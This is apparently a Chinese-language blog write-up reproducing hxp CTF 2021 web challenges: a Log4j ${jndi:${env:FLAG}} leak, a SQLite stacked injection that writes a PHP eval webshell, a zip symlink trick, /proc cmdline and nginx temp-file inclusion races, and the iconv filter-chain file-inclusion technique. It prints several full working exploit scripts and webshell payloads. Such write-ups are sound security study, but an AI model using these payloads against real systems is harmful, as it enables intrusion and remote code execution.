0%

hxpctf2021复现

hxpctf2021复现

还是蹭的科恩的车,虽然菜狗很努力的看了一天半,但真的菜,不会就是不会,所以仍然内容主题是复现(以及hxp这把所有web的dockerfile都非常复杂,进行了究极权限控制)
(这把在misc里面有一个log4j的题)

Log 4 sanity check

log4j题,签到难度。给了附件,class直接反汇编出来,就是nc上去输一个字符串然后直接log4j打印一下触发

究极dockerfile

给了一个超长dockerfile。。。hxp的dockerfile基本上都这么长,进行了各种究极的权限控制,操作也都类似

# Running locally:
# 1) echo 'hxp{FLAG}' > flag.txt
# 2) docker build -t log4sanitycheck .
# 3) docker run -p 1337:1024 --rm --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -it log4sanitycheck

FROM debian:bullseye

# Install deps.
RUN apt-get update && \
    DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
        default-jre-headless && \
    rm -rf /var/lib/apt/lists/

# Set up the flag
COPY flag.txt docker-stuff/readflag /
RUN chown root:1337 /flag.txt /readflag && \
    chmod 040 /flag.txt && \
    chmod 2555 /readflag

# Set up ynetd and the launcher
RUN useradd --create-home --shell /bin/bash ctf
WORKDIR /home/ctf
COPY Vuln.class run.sh *.xml *.jar /home/ctf/
COPY ynetd /sbin/
RUN chmod 555 /home/ctf && \
    chown -R root:root /home/ctf && \
    chmod -R 000 /home/ctf/* && \
    chmod 500 /sbin/ynetd && \
    chmod 005 /home/ctf/run.sh && \
    chmod 004 /home/ctf/*.class /home/ctf/*.jar /home/ctf/*.xml

# We're paranoid
RUN find / -ignore_readdir_race -type f \( -perm -4000 -o -perm -2000 \) -not -wholename /readflag -delete
USER ctf
RUN (find --version && id --version && sed --version && grep --version) > /dev/null
RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e 's/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 '^(/dev/|/run/|/proc/|/sys/|/tmp|/var/tmp|/var/lock|/var/mail|/var/spool/mail)'

# Run
USER root
EXPOSE 1024
CMD ynetd -np y -lm -1 -lpid 64 -lt 10 -t 30 "FLAG='$(cat /flag.txt)' /home/ctf/run.sh"

最开始的下载东西还比较正常,然后逐渐变得离谱。
上来就给flag040,再配合一个setUID的readflag,之后各种限制权限,能给0的都给0
We're paranoid下面那段代码大概是在把readflag以外的所有特权程序全都删掉,然后检查一下find,id,sed,grep这几个命令是不是存在
grep -E选项启用正则,-v选项只显示不匹配项目,-m选项为匹配行数,大概就是只匹配不是这些目录下的属于当前用户或当前用户可写的文件(暂时没看出来那个感叹号有什么用),但-m 1只匹配一行,不知道,如果存在多个这样的文件而第一行在规定的/dev/|/run/|/proc/...这些目录里面,不就会显示匹配不上了?

题解

要打到命令执行,而log4j要打到命令执行用的是jndi注入,要么远古版本jdk直接reference打通,要么tomcat版本特殊用对应factory打,要么本地自带CC之类的一套链。显然这里一个条件的不符合
CMD ynetd -np y -lm -1 -lpid 64 -lt 10 -t 30 "FLAG='$(cat /flag.txt)' /home/ctf/run.sh"
但是看到最后RUN运行的这句,是以root直接起了这个ynetd,虽然不知道这个是什么,但是有一句FLAG='$(cat /flag.txt),把flag塞进了环境变量。
log4j在爆出漏洞的时候因为通杀一个dnslog验证,所以大家也就想出了dnslog外带的方法,可以看看jdk version之类的,这里同样也可以外带flag

一开始因为是要自己搭一个dnslog的,后来发现直接报错也会回显,直接
${jndi:${env:FLAG}}即可在报错中拿到flag

hxp{Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}

以及他们的flag都长的一逼

shitty blog

我觉得还挺难的 :(

<?php
// TODO: fully implement multi-user / guest feature :(

$secret = 'SECRET_PLACEHOLDER';
$salt = '$6$'.substr(hash_hmac('md5', $_SERVER['REMOTE_ADDR'], $secret), 16).'$';

if(! isset($_COOKIE['session'])){
    $id = random_int(1, PHP_INT_MAX);
    $mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
}
else {
    $session = explode('|', $_COOKIE['session']);
    if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
        exit();
    }
    $id = $session[0];
    $mac = $session[1];
}
setcookie('session', $id.'|'.$mac);
$sandbox = './data/'.md5($salt.'|'.$id.'|'.$mac);
if(! is_dir($sandbox)) {
    mkdir($sandbox);
}

$db = new PDO('sqlite:'.realpath($sandbox).'/blog.sqlite3');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

$schema = "
    CREATE TABLE IF NOT EXISTS user (id INTEGER PRIMARY KEY, name VARCHAR(255));
    CREATE TABLE IF NOT EXISTS entry (id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER, content TEXT);

    INSERT OR IGNORE INTO user (id, name) VALUES (0, 'System');
    INSERT OR IGNORE INTO entry (id, user_id, content) VALUES (0, 0, 'Welcome to your new blog - 🚩🚩🚩 ʕ•́ᴥ•̀ʔっ🤎 🚩🚩🚩');
";
$db->exec($schema);

function get_entries($db){
    $sth = $db->query('SELECT id, user_id, content FROM entry ORDER BY id DESC');
     return $sth->fetchAll(); 
}

function get_user($db, $user_id) : string {
    foreach($db->query("SELECT name FROM user WHERE id = {$user_id}") as $user) {
        return $user['name'];
    }
    return 'me';
}

function insert_entry($db, $content, $user_id) {
    $sth = $db->prepare('INSERT INTO entry (content, user_id) VALUES (?, ?)');
    $sth->execute([$content, $user_id]);
}

function delete_entry($db, $entry_id, $user_id) {
    $db->exec("DELETE from entry WHERE {$user_id} <> 0 AND id = {$entry_id}");
}

if(isset($_POST['content'])) {
    insert_entry($db, htmlspecialchars($_POST['content']), $id);

    header('Location: /');
    exit;
}

$entries = get_entries($db);

if(isset($_POST['delete'])) {
    foreach($entries as $key => $entry) {
        if($_POST['delete'] === $entry['id']){
            delete_entry($db, $entry['id'], $entry['user_id']);
            break;
        }
    }

    header('Location: /');
    exit;
}

foreach($entries as $key => $entry) {
    $entries[$key]['user'] = get_user($db, $entry['user_id']);
}

?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>My shitty Blog</title>
    <link rel="icon" type="image/png" href="/favicon.png"/>
  </head>
  <body>
    <h1>My shitty blog</h1>
    <form method="post">
        <textarea cols="50" rows="10" name="content"></textarea>
        <input type="submit" value="Post">
    </form>
    <?php foreach($entries as $entry):?>
        <div>
            <p><?= $entry['content'] ?></p>
            <small>By <?=  $entry['user'] ?> </small>
            <form method="post">
                <input type="hidden" name="delete" value="<?= $entry['id'] ?>">
                # 加个userID再试一下
                <input type="submit" value="Delete">
            </form>
        </div>
        <hr>
    <?php endforeach ?>

  </body>
</html>

用户输入只有三个,session,$_POST[‘content’],$_POST[‘delete’],content在插入的时候被prepare了,无敌防御,delete只有和从数据库里查出来的$entry[‘id’]相等时才能进行查询
而$entry[‘id’]是一个INTEGER PRIMARY KEY AUTOINCREMENT,完全不可控

只有session中有一个id值,在insert的时候被prepare安全插入,但在get_user和delete_entry时从数据库中取出,并未做额外处理,存在注入

但id需要一个对应的mac通过验证,才能被插入数据库,而mac的生成,似乎非常的安全

整个校验过程为这段代码

$secret = 'SECRET_PLACEHOLDER';
$salt = '$6$'.substr(hash_hmac('md5', $_SERVER['REMOTE_ADDR'], $secret), 16).'$';

if(! isset($_COOKIE['session'])){
    $id = random_int(1, PHP_INT_MAX);
    $mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
}
else {
    $session = explode('|', $_COOKIE['session']);
    if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
        exit();
    }
    $id = $session[0];
    $mac = $session[1];
}

并不是很懂密码学的我感觉完全没法打,题目会给我们签合法id和mac,但合法的id只会是一个数字,做不到注入效果,需要进行id的伪造

但secret和salt均未知且不可控,crypt中的salt用来加盐且指定算法,一开始在想,如果crypt或者hash_hmac函数中支持加密数据存在注释之类的功能就好了。。。一番搜索后无果

最后是tkmk@0ops提出了crypt函数可以被00截断。如果hash_hmac的结果是\x00开头,则后续内容会被截断,等于对空字符串(还是说00?)进行加密,这样子就能使得整个加密结果不变

首先通过疯狂发包进行碰撞,只要拿到两个mac相同而id不同的数据,就能证明这两个数据在hash后是以00开头的,就能拿到对应的mac值
然后构造我们自己的payload,并同样的进行碰撞,以期其hash后以00开头,即可使用之前获取的00hash进行注入

而PHP使用的是PDO连接的sqlite,PDO默认是支持堆叠注入的,我们就可以使用sqlite的attach database操作导出一个webshell进行rce

理论上来说到这这个题就没什么问题了,然而我似乎有些过于愚蠢
这个题的dockerfile整体上和其他题的dockerfile类似,权限设置是这个样子的

RUN chown -R root:root /var/www && \
    find /var/www -type d -exec chmod 555 {} \; && \
    find /var/www -type f -exec chmod 444 {} \; && \
    chown -R root:root /tmp /var/tmp /var/lib/php/sessions && \
    chmod -R 000 /tmp /var/tmp /var/lib/php/sessions && \
    mkdir -p /var/www/html/data && \
    chmod 703 /var/www/html/data && \

/var/www/html是不可写的,/var/www/html/data仅可写可执行,不可读,而我们的sqlite数据库是在data下新开的目录,可读可写可执行,但目录名为'./data/'.md5($salt.'|'.$id.'|'.$mac);,salt还是没办法弄到

我一度苦恼如何搞到这个路径,发现sqlite有一个命令.database可以显示当前数据库路径,但这种命令统称dot command,只能在输入的开头使用,且不能夹杂在任何查询语句中。路径泄露无果

最后的最后我才发现,原来目录可写可执行但不可读,但目录下的文件可读的话,是可以直接读取那个文件的。。。目录的读的作用就是能让你列目录而已。。。
所以直接写data目录就好了

一开始一直在尝试打get_user那个函数,只要我先提交一个content把我的恶意userID插进数据库,那么我每次get访问的时候应该就会自动触发才对?但是我实际上试了半天没成功?最后是用的delete_entry函数才成功的
但查资料显示query和exec应该都是支持堆叠的,区别在于query返回结果,而exec只返回受影响的行数
所以为什么呢?

贴一个脚本

import requests
from urllib.parse import *

url = "http://65.108.176.96:8888/"
pair = {}
null = ""
while True:
    res = requests.get(url)
    # print(pair)
    session = res.cookies['session']
    sessions = session.split("%7C")
    if pair.get(sessions[1]):
        if sessions[0] != pair.get(sessions[1]):
            print(sessions[1])
            print(sessions[0], pair.get(sessions[1]))
            null = sessions[1]
            break
    else:
        pair[sessions[1]] = sessions[0]

payload = quote(";ATTACH DATABASE '/var/www/html/data/z33.php' AS 'test';create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php eval($_GET[z33]);?>');-- ")
# insert user_id
i = 0
while True:
    i += 1
    print(str(i)+payload+"%7C"+null)
    res = requests.post(url, data={"content": "test"}, cookies={"session": str(i)+payload+"%7C"+null})
    if len(res.text) > 10:
        print(i)
        print(res.text)
        break

res = requests.post(url, data={"delete": "1"}, cookies={"session": str(i)+payload+"%7C"+null})
print(res.text)

并不能理解flag在说什么
hxp{dynamically_typed_statically_typed_php_c_I_hate_you_all_equally__at_least_its_not_node_lol_:(}

如果,我能早点把本地环境搭起来的话,可能不会在目录权限上苦恼这么久。。。
理论上来说出题人给的dockerfile也没有任何的问题,但我本地进行build的时候会超级报错,dpkg如何如何,网上搜索半天并没有找到什么有用的回答,最后不知道在哪个偏僻的角落里面看到了一句升级docker版本。一看原来我本地的docker还挺老的。。。更新docker到最新版本之后真的就build起来了,呜呜

unzipper

这个题感觉也很难。。。因为我的智力条件你也知道.jpg

<?php
session_start() or die('session_start');

$_SESSION['sandbox'] ??= bin2hex(random_bytes(16));
$sandbox = 'data/' . $_SESSION['sandbox'];
$lock = fopen($sandbox . '.lock', 'w') or die('fopen');
flock($lock, LOCK_EX | LOCK_NB) or die('flock');

@mkdir($sandbox, 0700);
chdir($sandbox) or die('chdir');

if (isset($_FILES['file']))
    system('ulimit -v 8192 && /usr/bin/timeout -s KILL 2 /usr/bin/unzip -nqqd . ' . escapeshellarg($_FILES['file']['tmp_name']));
else if (isset($_GET['file']))
    if (0 === preg_match('/(^$|flag)/i', realpath($_GET['file']) ?: ''))
        readfile($_GET['file']);

fclose($lock);

那个lockfile和dockerfile里面的文件清理有关,不用考虑,功能就是给你开一个sandbox然后你可以往里面解压文件,然后还可以提交一个file参数,只要这个file的realpath中没有flag且不为空(realpath在文件不存在时返回false,可以被^$匹配),就给你读这个文件
这回flag是004的且没有readflag了,可以直接读

当然,解压文件直接传个PHP上去不就完了,但是这里有两个问题,一个是你不知道sandbox的路径(当然,sandbox存在session里了,可以读session文件获取到),第二个是无敌的nginx配置

location = /index.php {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}

只解析index.php,所以传了也完全没用

说起解压zip读文件,最经典的就是曾经hctf?(记不清哪场比赛了)的zip软链接读文件,但这里多了一个限制,对传入的文件名进行了一个realpath操作,这个函数会去除所有的软链接以及相对目录,跳目录等各种操作,直接返回完整的路径。这样子的话,软链接就不能用了

但这个realpath有一个问题,它不能识别各种协议,比如经典的PHP伪协议
使用如下操作创建出一个看起来是PHP伪协议的目录和文件,再创建一个对应的软链接文件

mkdir -p php://filter/
touch php://filter/resource=aa
ln -s /flag.txt aa

打一个包传上去,然后直接file=php://filter/resource=aa即可读到flag

如下两题看了官方wp以及各路神仙非预期后更新

counter

这个题看了蛮久但完全没懂

<?php
$rmf = function($file){
    system('rm -f -- '.escapeshellarg($file));
};

$page = $_GET['page'] ?? 'default';
chdir('./data');

if(isset($_GET['reset']) && preg_match('/^[a-zA-Z0-9]+$/', $page) === 1) {
    $rmf($page);
}

file_put_contents($page, file_get_contents($page) + 1);
include_once($page);

乍一看又是一个带点东西的文件包含,先看一下限制条件

php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
php_admin_value[post_max_size] = 12K
php_admin_value[memory_limit] = 32M
php_admin_value[max_execution_time] = 10s
php_admin_value[opcache.enable] = 0

关掉了经典upload progress,nginx的日志全部被重定向到标准输入输出,pearcmd起了个本地docker看了下没装
不过和上一题不同,这次的nginx config中允许解析所有的PHP后缀了

location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}

但fastcgi监听的是Unix socket,而不是端口,去年的hxpctf出了一个file_put_content用FTP协议,目的主机端口可控,写本地fpm导致rce的题,今年这个思考了半天感觉ftp也打不通了,没开远程包含,读取了远程也只能写远程,就算用ftp ssrf也没地方写。

功能就是输入一个page,先把这个page读出来和数字1相加,再写进去,最后include

可能的思路?

由于字符串和数字相加会被转化为数字,所以理论上来说能写进去的内容均为数字(或者套几层PHP伪协议,能base64或者压缩一下)
那么一种可能的思路就是先整点数字进去,然后把数字各种套filter最后能套出来一个shell。。。我觉得成功的可能性很低,都不知道怎么套流有可能套成这个样子,抛弃该思路

然后还有一个可能性,就算page直接是一个不可写的文件,因为最后include的一定是本地的一个文件,只要这个文件可写,就最后一定会是数字类型(或套了伪协议的变体),最后包含进来的也就是这样的数据,没有意义。但如果一个文件不可写,那么之前的写入操作就无法完成,能够直接包含进来。(但问题在于不可写的文件都能被包含来getshell了,那不是爽飞了,文件包含无条件究极通杀?)

感觉有两个地方比较奇怪,删除文件的地方为什么要用system?还定义了一个匿名函数?直接用自带的或者定义一个函数都行啊,还非得匿名?以及明明匿名函数都escapeshellarg了,在reset处又对文件名进行了[a-zA-Z0-9]的限制,怪。但是也想不出来有什么问题

update

果然这个system有问题,这两个题都是考察的在封锁了各种之前已有操作的情况下如何再次进行文件包含。这里使用的就是这个system函数,因为system是会新开进程去进行命令执行的,因此可以把需要删除的文件名输入一串base64,这样子system对应的/proc/$PID/cmdline就是我们的恶意输入,且cmdline这个文件默认只读,这样子就无法写入,直接包含,由于只允许[a-zA-Z0-9],所以我们的输入应当是base64,并使用PHP filter的base64-decode过滤器进行包含完成利用
之前好像又在哪听说过PHP不能读proc文件系统,可能是我的错觉吧。。。

怪了,怎么当初大家都没想到这个利用,反而都是用的includer’s revenge的超级条件竞争实现的

这里的最大问题就是pid的预测了,因为rm这个命令又活不了多久,而且我们一直在发送请求就会一直创建新的rm进程,pid持续变换,想要直接碰撞到难度略大
所以出题人提到了proc中的另一个文件

/proc/sys/kernel/ns_last_pid (since Linux 3.3)

This file (which is virtualized per PID namespace) displays the last PID that was allocated in this PID namespace. When the next PID is allocated, the kernel will search for the lowest unallocated PID that is greaterthan this value, and when this file is subsequently read it will show that PID.

通过读取这个文件能更好的对接下来可能出现的pid进行猜测并实现包含

以及出题人的脚本

#!/usr/bin/env python3
# hxp CTF 2021 counter
import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signal
from urllib.parse import urlparse,quote_from_bytes
def urlencode(data, safe=''):
    return quote_from_bytes(data, safe)

url = f'http://{sys.argv[1]}:{sys.argv[2]}/'

backdoor_name = secrets.token_hex(8) + '.php'
secret = secrets.token_hex(16)
secret_hash = hashlib.sha1(secret.encode()).hexdigest()

print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr)
print('[+] secret: ' + secret, file=sys.stderr)

code = f"<?php if(sha1($_GET['s'])==='{secret_hash}')echo shell_exec($_GET['c']);".encode()
payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash}')file_put_contents("{backdoor_name}",$_GET['p']);/*""".encode()
payload_encoded = b'abcdfg' + base64.b64encode(payload)
print(payload_encoded)
assert re.match(b'^[a-zA-Z0-9]+$', payload_encoded)

with tempfile.NamedTemporaryFile() as tmp:
    tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'"+ payload_encoded +b"'")
    tmp.flush()
    o = subprocess.check_output(['php','-r', f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name}");'])
    print(o, file=sys.stderr)
    assert payload in o

    os.chdir('/tmp')
    subprocess.check_output(['php','-r', f'$_GET = ["p" => "test", "s" => "{secret}"]; include("php://filter/convert.base64-decode/resource={tmp.name}");'])
    with open(backdoor_name) as f:
        d = f.read()
        assert d == 'test'


pid = -1
N = 10

done = False

def worker(i):
    time.sleep(1)
    while not done:
        print(f'[+] starting include worker: {pid + i}', file=sys.stderr)
        s = f"""bombardier -c 1 -d 3m '{url}?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i}%2Fcmdline&p={urlencode(code)}&s={secret}' > /dev/null"""
        os.system(s)

def delete_worker():
    time.sleep(1)
    while not done:
        print('[+] starting delete worker', file=sys.stderr)
        s = f"""bombardier -c 8 -d 3m '{url}?page={payload_encoded.decode()}&reset=1' > /dev/null"""
        os.system(s)

for i in range(N):
    threading.Thread(target=worker, args=(i, ), daemon=True).start()
threading.Thread(target=delete_worker, daemon=True).start()


while not done:
    try:
        r = requests.get(url, params={
            'page': '/proc/sys/kernel/ns_last_pid'
        }, timeout=10)
        print(f'[+] pid: {pid}', file=sys.stderr)
        if int(r.text) > (pid+N):
            pid = int(r.text) + 200
            print(f'[+] pid overflow: {pid}', file=sys.stderr)
            os.system('pkill -9 -x bombardier')

        r = requests.get(f'{url}data/{backdoor_name}', params={
            's' : secret,
            'c': f'id; ls -l /; /readflag; rm {backdoor_name}'
        }, timeout=10)

        if r.status_code == 200:
            print(r.text)
            done = True
            os.system('pkill -9 -x bombardier')
            exit()


        time.sleep(0.5)
    except Exception as e:
        print(e, file=sys.stderr)

直接上了一个叫bombardier的玩意进行爆破,可能python的能力是有极限的吧。。。直接搜这个名字发现是一家加拿大的公司。。。然后再认真搜一下发现是这个项目,还自带了已经编译好的release,泪目
https://github.com/codesenberg/bombardier
不过还有一些本地验证payload的assert环节,可以学习一下

includer’s revenge

和上一个题差不多,在配置文件上的限制一样,不过连写功能也没了

<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');

可以读文件或者包含文件

update

果然这些功能都是假的,实际利用方案为nginx默认配置下在request body过大时会缓存request body到临时文件中。只要发送一个超长并带有PHP shell的请求体到nginx服务器上,就有机会实现一个全新的无附加功能本地文件包含
读功能就当不存在吧

这里需要解决的问题有多个

难点1

client_body_buffer_size:
Sets buffer size for reading client request body. In case the request body is larger than the buffer, the whole body or only its part is written to a temporary file. By default, buffer size is equal to two memory pages. This is 8K on x86, other 32-bit platforms, and x86-64. It is usually 16K on other 64-bit platforms.

当request body超出如上限制时,就会创建临时文件
nginx是用如下方式创建临时文件的

ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
    ngx_fd_t  fd;

    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
              access ? access : 0600);

    if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }

    return fd;
}

创建之后马上删除这个文件,然后把这个文件的fd返回出去,这样子就能不留痕迹的获得一个内存中的文件句柄,在内存里进行文件读写操作。(说起来有没有能直接打开一个在内存中文件句柄的函数呢?应该会比建了又删更优雅吧?) 且临时文件一般为/var/lib/nginx/body/000000xxxx,文件名是一个十位向左填充0的数字。文件名的数字随着nginx的请求处理增长而增长。想要直接爆破出文件名也显得不是非常的可能,更不用说在爆破文件名的同时还要条件竞争了。

为了研究一下创建文件马上删掉之后的表现,我写了一个垃圾的C代码(请忽略各种会造成溢出的代码)

#include 
#include 
#include 
#include 
#include 

void main() {
    char buffer[128] = { 0 }, s[128] = { 0 }, name[32] = {0};
    printf("Enter a name :");
    gets(name);
    int fd = open((const char*)name, O_CREAT | O_EXCL | O_RDWR, 0600);

    if (fd != -1) {
        (void)unlink((const char*)name);
    }


    printf("Enter a value :");
    gets(s);

    write(fd, s, sizeof(s));

    lseek(fd, 0, SEEK_SET);
    printf("Wait for input\n");
    getchar();

    read(fd, buffer, sizeof(buffer));
    printf("%s", buffer);
}

也就是模仿他的操作,新开一个文件然后马上删掉,再对这个文件的fd进行读写操作,看会发生什么。

root@myserver:~/test# ./main
Enter a name :testfile
fd is 3
Enter a value :aaaaaaaaaaaa
Wait for input
d
aaaaaaaaaaaa

在wait for input时新开一个终端

root@myserver:/proc/20006/fd# ps aux | grep main
postgres   592  0.0  0.7 294704 14388 ?        S     2021   7:03 /usr/lib/postgresql/9.5/bin/postgres -D /var/lib/postgresql/9.5/main -c config_file=/etc/postgresql/9.5/main/postgresql.conf
root     20148  0.0  0.0   4356   644 pts/0    S+   11:33   0:00 ./main
root     20153  0.0  0.0  14228   956 pts/1    S+   11:33   0:00 grep --color=auto main
root@myserver:/proc/20006/fd# cd /proc/20148/fd
root@myserver:/proc/20148/fd# ll
total 0
dr-x------ 2 root root  0 Jan  5 11:33 ./
dr-xr-xr-x 9 root root  0 Jan  5 11:33 ../
lrwx------ 1 root root 64 Jan  5 11:33 0 -> /dev/pts/0
lrwx------ 1 root root 64 Jan  5 11:33 1 -> /dev/pts/0
lrwx------ 1 root root 64 Jan  5 11:33 2 -> /dev/pts/0
lrwx------ 1 root root 64 Jan  5 11:33 3 -> /root/test/testfile (deleted)
root@myserver:/proc/20148/fd# cat 3
aaaaaaaaaaaaroot@myserver:/proc/20148/fd#

可以看到,在对应进程的proc目录下,存在对应的fd项目,且为一个软链接,连接到/root/test/testfile (deleted),表明该文件已被删除,但仍然可以继续写入并读出

因此,只要能找到对应的nginx worker线程,并尝试爆破出该临时文件的fd,就可以对我们发送的payload进行包含。这样的操作同样绕过了nginx临时文件编号不可预知的限制,且该fd在nginx处理该请求时会一直存在,也放宽了条件竞争的难度(既然如此,能不能手写socket卡住这个执行,让这个fd长时间的存在呢?不过这样子也就要求nginx在收到的请求大于限制时就进行写入,而不是收到完整请求后再判断大小进行写入,不知道具体是怎么处理的)

难点2

虽然pasten的wp中提到proc中的文件既表现的像软链接又表现的像硬链接,但ls一下的话显示的文件类型还是软链接。
对于软链接文件,PHP会尝试先对软链接进行解析,再将其打开。
而这里有一个有意思的东西

If a file was deleted while a process holds an open file descriptor:

realpath() will return the last path of the file with “ (deleted)” appended to it.
open() will return an fd that can be used to read the original file content.

解析软链接会得到那个带(deleted)的结果,这个时候再去open就会失败,因此,这个竞争需要在文件创建但还未删除的两行代码的夹缝中艰难生存。
除此之外,PHP对于软链接的解析还有一层缓存

realpath_cache_size default 4M
realpath_cahce_ttl default 120s

一次解析失败,就能导致接下来两分钟的解析直接走的缓存内容,无法继续竞争。为了解决这个问题,又使用了/proc/$PID/root/proc/$PID/cwd两个目录轮流嵌套,使得每次的路径都是全新的路径,不会进入缓存
然后就是高强度竞争环节了。可能根据Pasten战队的说法,一般的电脑竞争不动,得加钱 :(

官方绕过软链接方案

出题人提出了另一种绕过PHP解析软链接的方法,直接加一层相对目录跳起来,就能防止PHP对软链接进行解析(可能是因为源码中解析相对路径和解析软链接的逻辑是互斥的?)
这样子条件竞争的难度就大幅下降了,只要能竞争到proc中的fd即可完成包含
大概就是这个样子
/proc/self/fd/34/../../../34/fd/9

学一些其他的操作

/proc/$PID/cmdline来确定进程是否是nginx worker进程,/proc/cpuinfo看CPU有几个核,/proc/sys/kernel/pid_max看最大pid是多少,确定扫描范围

LFI的最终通杀

在赛后有一个师傅提出了在不留下文件的情况下包含PHP shell,而利用的条件仅仅是存在一个可读的文件
使用PHP filter的iconv字符转换功能,通过非常究极的排列组合,完成了从任意字符串转换到一个PHPshell的功能
这个是不是无敌了啊?当文件名完全可控时,文件内容也就约等于完全可控了
具体文章和脚本如下
Solving “includer’s revenge” from hxp ctf 2021 without controlling any files

import requests

url = "http://localhost/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)

以及一个wupoc师傅fuzz出的完整字符集
PHP_INCLUDE_TO_SHELL_CHAR_DICT

这里还有一个额外的文章提到了和filter相关的各种操作。提到了一个文档中没提到的filter consumed
功能就是把读入直接变成一个空字符串,似乎只在读链上生效,写入的时候没用作用,那么意义是什么呢?
LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION

其他的杂七杂八

PHP怎么能读nginx的proc呢?因为PHP和nginx是同一个用户部署的,都是www-data,所以就有对应的文件权限咯

counter也能用这个竞争去打,但打起来需要再进一步,再多一个file_put_contents的竞争,双重竞争难度++,简单的说就是得加钱。

还有一些加强条件竞争成功率的辅助手段,例如使用如下代码创建一个http连接池,取消tcp三次握手的时延,更高强度的进行竞争

def create_requests_session():
    session = requests.Session()
